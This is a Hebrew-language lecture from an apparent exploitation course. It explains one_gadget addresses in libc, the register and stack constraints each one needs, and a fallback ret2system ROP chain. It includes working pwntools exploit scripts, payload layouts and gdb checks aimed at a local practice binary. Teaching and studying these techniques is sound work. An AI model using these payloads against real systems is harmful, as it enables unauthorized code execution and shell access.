לדלג לתוכן

4.5 one gadget וret2system הרצאה

עד עכשיו בפרק הזה בנינו ROP chains שלמות: ב-4.2 ראינו ret2libc קלאסי, ב-4.3 שרשרנו גאדג'טים ידנית, וב-4.4 דלפנו כתובת מ-libc וחישבנו את בסיס הספרייה כדי לעקוף ASLR. עכשיו, כשאנחנו כבר יודעים את הכתובת של libc בזיכרון, מגיע קיצור דרך יפהפה: במקום לבנות chain של שלושה או ארבעה גאדג'טים שקוראת ל-system("/bin/sh"), לפעמים מספיקה כתובת אחת בתוך libc שפותחת shell לבד. הכתובת הזו נקראת one_gadget, או "גאדג'ט הקסם". בהרצאה הזו נבין מה זה, איך מוצאים אותם, מהם האילוצים שחייבים להתקיים כדי שיעבדו, ומה עושים כשהם לא מתקיימים - אז נופלים בחזרה ל-ret2system המלא והאמין.

הרעיון - one_gadget

בתוך libc.so.6 יש קוד שקורא ל-execve("/bin/sh", ...). הקוד הזה קיים כי system בעצמה, בסופו של דבר, מגיעה לנקודה שבה היא טוענת את המחרוזת "/bin/sh" ל-rdi ומריצה execve. הרעיון של one_gadget הוא פשוט: במקום להגיע לנקודה הזו דרך system, נקפוץ ישר לתוך אמצע הקוד של libc, בדיוק לכתובת שבה execve("/bin/sh", ...) כבר מוכן לרוץ.

הגאדג'ט הזה הוא רצף הוראות בתוך libc שמסתיים בקריאת execve עם "/bin/sh" בארגומנט הראשון. אם נצליח להעביר את זרימת ההרצה לכתובת הזו, נקבל shell מבלי לשרשר כלום. זו כתובת אחת בלבד על המחסנית המזויפת שלנו:

low addresses (top of stack)
+----------------------------+
| padding up to the return address |
+----------------------------+
| one_gadget (libc_base+off) |  <-- the ret jumps here and opens a shell
+----------------------------+
high addresses

לשם השוואה, ret2libc מלא היה נראה כך: pop rdi ; ret -> כתובת "/bin/sh" -> גאדג'ט ret לalignment -> system. ארבעה סלוטים ולפחות שני גאדג'טים. one_gadget מכווץ את הכל לסלוט אחד. הבעיה, כמו תמיד, היא שאין ארוחות חינם: הקיצור עובד רק אם מצב האוגרים והמחסנית עומד בכמה תנאים.

למה הגאדג'טים האלה קיימים

בואו נבין מאיפה גאדג'ט הקסם צומח, כי זה מסביר גם את האילוצים. הפונקציה system("/bin/sh") עוברת בפנים דרך do_system, שבסופו של דבר קוראת ל-execve עם שלושה ארגומנטים: הנתיב ("/bin/sh"), מערך ה-argv, ומערך ה-envp. בקוד של libc יש נקודה שבה rdi כבר מצביע על "/bin/sh", וה-argv וה-envp נלקחים מאוגרים או מסלוטים על המחסנית.

גאדג'ט הקסם הוא בדיוק אותה נקודה. אבל מכיוון שאנחנו קופצים לשם "מהצד" ולא דרך הזרימה הרגילה של system, האוגרים והמחסנית לא בהכרח מכילים את מה ש-execve מצפה לו. ספציפית, execve דורש ש-argv ו-envp יהיו מצביעים חוקיים - והכי פשוט, שיהיו NULL. אם הם מכילים זבל, ה-execve ייכשל (יחזיר שגיאה) או שהתוכנית תקרוס עוד קודם. זה בדיוק מקור האילוצים: הם דורשים שאיזשהו אוגר או סלוט על המחסנית יהיה אפס, כדי שהארגומנט השני או השלישי של execve יהיה NULL.

הרצת one_gadget - מוצאים את המועמדים

הכלי one_gadget הוא כלי Ruby שסורק קובץ libc ומוציא את כל כתובות הקסם עם האילוצים שלהן. מתקינים אותו כך:

gem install one_gadget

ומריצים אותו על ה-libc של המטרה (אותו קובץ libc.so.6 שהבינארי טוען - זה קריטי, כי הכתובות משתנות בין גרסאות):

one_gadget ./libc.so.6

הנה פלט אמיתי עבור libc-2.27.so (מאוד נפוץ באתגרים, זה ה-libc של Ubuntu 18.04):

0x4f2c5 execve("/bin/sh", rsp+0x40, environ)
constraints:
  rcx == NULL

0x4f322 execve("/bin/sh", rsp+0x40, environ)
constraints:
  [rsp+0x40] == NULL

0x10a38c execve("/bin/sh", rsp+0x70, environ)
constraints:
  [rsp+0x70] == NULL

מה אנחנו רואים כאן? שלושה מועמדים, כל אחד בכתובת (offset) שונה בתוך libc, כל אחד מריץ execve("/bin/sh", ...), וכל אחד עם אילוץ אחר. ה-offset הזה הוא יחסי לבסיס של libc - אחרי שחישבנו את libc_base ב-4.4, הכתובת בפועל היא libc_base + 0x4f322 וכן הלאה.

שימו לב: הכתובות 0x4f2c5, 0x4f322, 0x10a38c נכונות רק ל-libc-2.27.so הספציפי הזה. ל-libc אחר (2.31, 2.35 וכו') יהיו offset-ים אחרים ואילוצים אחרים לגמרי. תמיד תריצו one_gadget על ה-libc שלכם, לעולם אל תעתיקו offset מהרצאה או מפוסט באינטרנט.

איך יודעים איזו גרסת libc יש לכם? אפשר לשלוף מהקובץ:

strings ./libc.so.6 | grep "GNU C Library"

הבנת האילוצים - constraints

זה החלק הכי חשוב בהרצאה. כל one_gadget עובד רק אם האילוץ שלו מתקיים ברגע הקפיצה. בואו נפרק את השלושה מלמעלה:

  • rcx == NULL - האוגר rcx חייב להיות אפס ברגע שקופצים לגאדג'ט. במקרים רבים אחרי חזרה מפונקציית libc כמו puts דווקא כן יש שם אפס, אבל לא תמיד - חייבים לבדוק.
  • [rsp+0x40] == NULL - המילה בגודל 8 בתים שנמצאת בכתובת rsp+0x40 חייבת להיות אפס. שימו לב שזה תוכן הזיכרון על המחסנית, לא אוגר.
  • [rsp+0x70] == NULL - אותו רעיון, אבל בהיסט אחר על המחסנית.

למה אלה האילוצים? כי בגאדג'ט הזה execve לוקח את ה-argv שלו מ-rsp+0x40 (או מ-rcx, תלוי בגאדג'ט). כדי ש-execve("/bin/sh", argv, envp) יעבוד, ה-argv צריך להיות NULL (או מצביע חוקי למערך שמסתיים ב-NULL). הכי פשוט: שהמקום שממנו נלקח ה-argv יכיל אפס.

הנה התובנה המעשית: אילוץ על אוגר (rcx == NULL) קשה יותר לשלוט בו, כי הוא תלוי במה שקרה קודם בתוכנית. לעומת זאת, אילוץ על המחסנית ([rsp+0x40] == NULL) לרוב בשליטתנו - אנחנו כותבים את המחסנית! אם אנחנו יודעים איפה rsp יצביע ברגע הקפיצה, אנחנו יכולים לדאוג שהסלוט המתאים יכיל אפס פשוט על ידי הוספת בתי אפס לpayload.

בואו נראה את זה קונקרטית. אחרי overflow פשוטה, הpayload שלנו הוא padding + p64(one_gadget). ה-ret של הפונקציה הvulnerable שולף את כתובת ה-one_gadget, וברגע הזה rsp מצביע על הסלוט הבא בpayload שלנו - כלומר על מה שכתבנו מיד אחרי כתובת הגאדג'ט:

the moment of the jump to one_gadget:
                                 <-- rsp points here after the ret
+----------------------------+
| what we wrote after the gadget |  rsp+0x00
+----------------------------+
| ...                        |  rsp+0x08
+----------------------------+
| ...                        |  ...
+----------------------------+
| this slot must be 0        |  rsp+0x40  <-- the constraint
+----------------------------+

מכיוון ש-rsp+0x40 הוא בדיוק 8 מילים (64 בתים) אחרי ראש המחסנית החדש, כל מה שצריך זה למלא את הpayload שלנו בבתי אפס אחרי כתובת הגאדג'ט. אם הכל אפס - האילוץ [rsp+0x40] == NULL מתקיים בוודאות.

שימוש ב-one_gadget ב-exploit

נניח שיש לנו את הפרימיטיב מ-4.4: overflow על המחסנית, ו-offset של 72 עד הreturn address, וגם דלף שנתן לנו את הכתובת של puts ב-libc. ההגנות: NX פעיל, ASLR פעיל (אבל עקפנו אותו עם הדלף), בלי canary, הבינארי no-pie (לא משנה לנו כי אנחנו קופצים ל-libc). ככה נראה שלד שמשתמש ב-one_gadget:

#!/usr/bin/env python3
from pwn import *

context.binary = elf = ELF('./target')
libc = ELF('./libc.so.6')          # the same libc the target loads

p = process('./target')

# stage 1: get the leak (achieved with the methods from 4.4)
leak = int(p.recvline().split()[-1], 16)
libc.address = leak - libc.symbols['puts']    # compute the libc base
log.success('libc base = %#x', libc.address)

# stage 2: pick a one_gadget whose constraint holds
og = libc.address + 0x4f322        # execve("/bin/sh", rsp+0x40, environ), [rsp+0x40]==NULL

# stage 3: build a payload that both jumps to the gadget and zeroes rsp+0x40
offset = 72
payload = flat({offset: [og, 0, 0, 0, 0, 0, 0, 0, 0, 0]})   # zeros to satisfy [rsp+0x40]==NULL

p.sendline(payload)
p.interactive()

שימו לב לתשע ה-0 שאחרי og: הן דואגות שהזיכרון מ-rsp והלאה יהיה אפס, כולל rsp+0x40. זה מספק את האילוץ. אם היינו שולחים רק flat({offset: og}) בלי הpadding, rsp+0x40 היה מצביע על זבל ישן מהמחסנית - ואז ה-execve היה מקבל argv לא חוקי ונכשל.

איך מוודאים ב-gdb שהגאדג'ט באמת נבחר נכון? מציבים breakpoint על כתובת הגאדג'ט ובודקים את האילוץ ברגע הקפיצה:

pwndbg> b *0x00007ffff7a?????? + 0x4f322   (the computed address)
pwndbg> run
pwndbg> x/gx $rsp+0x40
0x7fffffffe0c0: 0x0000000000000000        <-- excellent, the constraint holds

כשהאילוצים לא מתקיימים - איך פותרים

לא תמיד יהיה לנו מזל. יש שני מצבים עיקריים.

מצב ראשון: האילוץ הוא על אוגר (למשל rcx == NULL או r12 == NULL). כאן צריך להביא את האוגר למצב הרצוי לפני הקפיצה. אם יש בבינארי או ב-libc גאדג'ט מתאים, אפשר לשרשר אותו לפני ה-one_gadget:

# example: if r12 == NULL is needed, and there's a pop r12 ; ret gadget in libc
pop_r12 = libc.address + 0x...      # from ROPgadget on the libc
payload = flat({offset: [pop_r12, 0, og]})   # zeroes r12, then jumps to the gadget

מצב שני: האילוץ הוא על המחסנית אבל rsp לא מצביע לאן שחשבנו (למשל הchain שלנו ארוכה, או שהגענו ל-one_gadget דרך system שהזיז את המחסנית). אם אי אפשר לשלוט בסלוט הנדרש, פשוט מנסים מועמד אחר. לרוב יש שלושה או ארבעה one_gadget-ים, ולפחות אחד מהם עם אילוץ שנוח לספק במצב הנוכחי. זה שווה זהב: אם [rsp+0x40] == NULL לא מסתדר, אולי [rsp+0x70] == NULL דווקא כן, או להפך.

הנה דפוס "תנסה את כולם" - עוברים על רשימת המועמדים עד שאחד פותח shell:

one_gadgets = [0x4f2c5, 0x4f322, 0x10a38c]   # from one_gadget's output

for og_off in one_gadgets:
    try:
        p = process('./target')
        leak = int(p.recvline().split()[-1], 16)
        libc.address = leak - libc.symbols['puts']
        og = libc.address + og_off
        p.sendline(flat({offset: [og, 0, 0, 0, 0, 0, 0, 0, 0, 0]}))
        p.sendline(b'echo PWNED')
        if b'PWNED' in p.recv(timeout=1):
            log.success('one_gadget %#x worked!', og_off)
            p.interactive()
            break
        p.close()
    except EOFError:
        p.close()

נפילה חזרה ל-ret2system מלא

לפעמים אף one_gadget לא עובד: האילוצים על אוגרים שאי אפשר לשלוט בהם, או שהמחסנית לא בשליטתנו ברגע הקפיצה. במקרה כזה נופלים בחזרה לשיטה האמינה ביותר - ret2system מלא, בדיוק כמו שראינו ב-4.2, אבל עכשיו עם הכתובות המחושבות מהדלף. השיטה הזו כמעט תמיד עובדת כי היא לא מסתמכת על מצב אקראי של אוגרים; אנחנו בונים את המצב הנכון בעצמנו.

הchain הקלאסית ב-64 ביט: מכניסים ל-rdi את הכתובת של "/bin/sh" (המחרוזת קיימת בתוך libc עצמה!), מיישרים את המחסנית עם גאדג'ט ret, וקוראים ל-system:

low addresses (top of stack)
+----------------------------+
| padding up to the return address |
+----------------------------+
| ret  (alignment to 16 bytes) |  <-- prevents a movaps crash
+----------------------------+
| pop rdi ; ret              |
+----------------------------+
| address of "/bin/sh" in libc |  <-- goes into rdi
+----------------------------+
| address of system in libc  |  <-- jump here, rdi is ready
+----------------------------+
high addresses

ובקוד, בעזרת אובייקט ROP של pwntools על ה-libc (הוא ימצא את הגאדג'טים בתוך libc לבד):

#!/usr/bin/env python3
from pwn import *

context.binary = elf = ELF('./target')
libc = ELF('./libc.so.6')

p = process('./target')

# leak and compute the libc base (from 4.4)
leak = int(p.recvline().split()[-1], 16)
libc.address = leak - libc.symbols['puts']
log.success('libc base = %#x', libc.address)

# build a full ret2system inside libc
binsh  = next(libc.search(b'/bin/sh\x00'))     # the string exists inside libc
system = libc.symbols['system']

rop = ROP(libc)
rop.raw(rop.find_gadget(['ret'])[0])           # aligns the stack to 16 bytes
rop.call(system, [binsh])                       # rdi = &"/bin/sh", then system

offset = 72
payload = flat({offset: rop.chain()})
log.info('\n' + rop.dump())

p.sendline(payload)
p.interactive()

שני דברים קריטיים כאן. ראשית, next(libc.search(b'/bin/sh\x00')) - אנחנו לא צריכים שהמחרוזת "/bin/sh" תהיה בבינארי שלנו, כי היא תמיד קיימת בתוך libc (system צריכה אותה). מכיוון שאנחנו יודעים את בסיס libc, אנחנו יודעים את הכתובת המדויקת שלה. שנית, גאדג'ט ה-ret הבודד לalignment - בדיוק כמו שלמדנו ב-2.3, system ב-64 ביט קורסת ב-movaps אם rsp לא aligned ל-16 בתים. אם ה-shell לא נפתח למרות שהכל נראה נכון, כמעט תמיד זה הalignment.

מתי לבחור מה - סיכום שיקולים

שיטה סלוטים אמינות מתי משתמשים
one_gadget 1 (לפעמים 2-3 עם padding/אוגר) תלוי באילוצים כשיש מעט מקום לpayload, או לקיצור מהיר
ret2system מלא 3-4 גאדג'טים גבוהה מאוד כשה-one_gadget-ים לא עובדים, או כברירת מחדל בטוחה

כלל אצבע מעשי: קודם תנסו one_gadget כי הוא הכי קצר וקל. אם אף מועמד לא עובד תוך דקה-שתיים של ניסיונות, אל תילחמו בזה - תעברו ל-ret2system מלא. הוא קצת יותר ארוך אבל כמעט תמיד עובד, כי אתם שולטים בכל הפרמטרים במקום להסתמך על מצב מקרי. one_gadget הוא כלי לחיסכון, לא מטרה בפני עצמה.

מגבלה שכדאי לזכור: כשיש מעט מאוד מקום לpayload (למשל overflow שמאפשרת לדרוס רק את הreturn address ועוד סלוט או שניים), one_gadget הוא לפעמים הדרך היחידה - אין מקום לchain של ארבעה סלוטים. במקרים כאלה שווה להשקיע בלמצוא one_gadget שהאילוץ שלו מתקיים באופן טבעי, אפילו אם זה דורש קצת מזל או ניסוי.

סיכום

  • הכלי one_gadget מוצא כתובת אחת בתוך libc שמריצה execve("/bin/sh", ...), ומכווץ chain ret2libc שלמה לקפיצה בודדת.
  • הגאדג'טים האלה נובעים מקוד קיים בתוך do_system שכבר טוען "/bin/sh" ל-rdi. מכיוון שקופצים לשם מהצד, יש אילוצים.
  • כל one_gadget מגיע עם אילוץ: אוגר או סלוט על המחסנית שחייב להיות NULL, כדי שה-argv של execve יהיה חוקי.
  • אילוץ על המחסנית ([rsp+0x40] == NULL) לרוב בשליטתנו - מוסיפים בתי אפס לpayload. אילוץ על אוגר קשה יותר.
  • מתקינים עם gem install one_gadget ומריצים על ה-libc המדויק של המטרה. הכתובות משתנות בין גרסאות - לעולם אל תעתיקו offset.
  • כשאף one_gadget לא עובד, נופלים חזרה ל-ret2system מלא: pop rdi -> כתובת "/bin/sh" מתוך libc -> ret לalignment -> system. אמין כמעט תמיד.
  • כלל אצבע: קודם one_gadget (קצר), אם לא הולך - ret2system (בטוח).